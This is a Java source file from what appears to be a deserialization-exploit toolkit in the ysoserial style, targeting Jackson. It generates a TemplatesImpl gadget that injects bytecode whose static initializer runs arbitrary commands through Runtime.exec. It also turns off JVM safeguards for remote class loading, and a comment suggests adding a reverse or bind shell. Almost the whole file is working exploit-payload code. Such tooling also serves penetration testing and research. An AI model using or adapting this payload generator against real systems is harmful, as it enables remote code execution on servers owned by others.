/* MIT License

Copyright (c) 2017 Moritz Bechler

Permission is hereby granted, free of charge, to any person obtaining a copy

of this software and associated documentation files (the "Software"), to deal

in the Software without restriction, including without limitation the rights

to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

copies of the Software, and to permit persons to whom the Software is

furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all

copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE

SOFTWARE.

*/

package jackson;

import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;

import java.io.IOException;

import java.io.Serializable;

import java.lang.reflect.InvocationTargetException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javassist.*;

import ser05j.ClassFiles;

import ser05j.Reflections;

/*

* utility generator functions for common jdk-only gadgets

*/

@SuppressWarnings({

"restriction"

})

public class TemplatesUtil {

static {

// special case for using TemplatesImpl gadgets with a SecurityManager enabled

System.setProperty(DESERIALIZE_TRANSLET, "true");

// for RMI remote loading

System.setProperty("java.rmi.server.useCodebaseOnly", "false");

}

public static class StubTransletPayload extends AbstractTranslet implements Serializable {

private static final long serialVersionUID = -5971610431559700674L;

@Override

public void transform(DOM document, SerializationHandler[] handlers) {

}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

}

}

// required to make TemplatesImpl happy

public static class Foo implements Serializable {

private static final long serialVersionUID = 8207363842866235160L;

}

public static Object createTemplatesImpl(final String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, IOException, CannotCompileException, NotFoundException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {

if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {

return createTemplatesImpl(

args,

Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),

Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),

Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));

}

return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

private static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)

throws NotFoundException, IllegalAccessException, InstantiationException,

CannotCompileException, NoSuchFieldException, IOException, NoSuchMethodException, InvocationTargetException {

final T templates = tplClass.getConstructor().newInstance();

// use template gadget class

ClassPool pool = ClassPool.getDefault();

pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));

pool.insertClassPath(new ClassClassPath(abstTranslet));

final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// run command in static initializer

// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

StringBuilder sb = new StringBuilder();

boolean first = true;

for (String arg : args) {

if (!first) {

sb.append(',');

} else {

first = false;

}

sb.append('"');

sb.append(arg.replaceAll("\"", "\\\""));

sb.append('"');

}

clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb.toString() + " });");

// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)

clazz.setName("ysoserial.Pwner" + System.nanoTime());

CtClass superC = pool.get(abstTranslet.getName());

clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance

Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{

classBytes, ClassFiles.classAsBytes(Foo.class)

});

// required to make TemplatesImpl happy

Reflections.setFieldValue(templates, "_name", "Pwnr");

Reflections.setFieldValue(templates, "_tfactory", transFactory.getConstructor().newInstance());

return templates;

}

}